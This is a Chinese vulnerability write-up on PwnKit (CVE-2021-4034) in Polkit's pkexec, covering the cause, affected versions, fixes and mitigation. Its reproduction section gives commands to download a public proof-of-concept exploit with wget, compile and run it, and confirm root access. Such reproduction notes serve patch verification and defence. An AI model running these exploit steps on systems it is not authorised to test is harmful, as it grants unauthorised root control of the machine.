漏洞介绍

该漏洞是 Linux 系统中 Polkit 组件的 pkexec 工具存在的本地权限提升漏洞,也被称为PwnKit。

漏洞原理

pkexec 是一个 SUID 工具,允许非特权用户根据策略以特权身份执行命令。漏洞源于 pkexec 在处理参数时逻辑错误,导致环境变量被错误地当作命令执行。攻击者通过构造恶意环境变量,可诱导 pkexec 加载并执行任意代码,最终实现普通用户到 root 的权限提升。

影响范围

  • 受影响组件:所有 Linux 发行版预装的 Polkit 组件(自 2009 年首个版本起)。

  • 高危版本:

    • CentOS 系列:

      • CentOS 6:polkit < 0.96-11.el6_10.2

      • CentOS 7:polkit < 0.112-26.el7_9.1

      • CentOS 8:polkit < 0.115-13.el8_5.1等

    • Ubuntu 系列:

      • Ubuntu 20.04 LTS:policykit-1 < 0.105-26ubuntu1.2

      • Ubuntu 18.04 LTS:policykit-1 < 0.105-20ubuntu0.18.04.6等

    • 其他发行版:Debian、Fedora 等均受影响。

漏洞复现

环境:centos7

替换阿里yum源

sed -i 's|^mirrorlist=|#mirrorlist=|g; s|^#baseurl=http://mirror.centos.org|baseurl=https://mirrors.aliyun.com|g' /etc/yum.repos.d/CentOS-Base.repo
yum clean all && yum makecache

安装编译环境

yum install -y gcc make glibc-devel shadow-utils which wget unzip

新增测试用户并切换

useradd test
su test
cd

下载CVE-2021-4034复现程序

wget https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main -O main.zip

编译

unzip main.zip
cd CVE-2021-4034-main/
make

执行

./cve-2021-4034
whoami

拿到root权限

漏洞危害

  • 权限提升:非特权用户可利用漏洞获取 root 权限,完全控制目标系统。

  • 攻击门槛低:无需复杂操作,普通用户即可触发漏洞(如通过恶意程序或脚本)。

  • 漏洞利用公开:POC 已泄露,攻击者可直接利用。

修复建议

升级到安全版本:

CentOS:

yum clean all && yum makecache
yum update polkit -y

验证版本:rpm -qa polkit

Ubuntu:

sudo apt-get update
sudo apt-get install policykit-1

验证版本:dpkg -l policykit-1

提示以下内容说明漏洞被修复了

临时缓解措施(无补丁时):

chmod 0755 /usr/bin/pkexec  # 删除SUID位,限制权限

参考链接:

Red Hat 官方补丁:cve-details

Ubuntu 安全公告:CVE-2021-4034 | Ubuntu

复现工具

注意事项

  • 及时修复:漏洞风险极高,建议立即更新系统。

  • 数据备份:升级前备份重要数据,避免意外问题。

  • 监控日志:利用漏洞可能触发系统日志警告(如 “环境变量包含可疑内容”)。

  • 该漏洞因长期未被修复且影响广泛,被称为 “神洞”,需高度重视。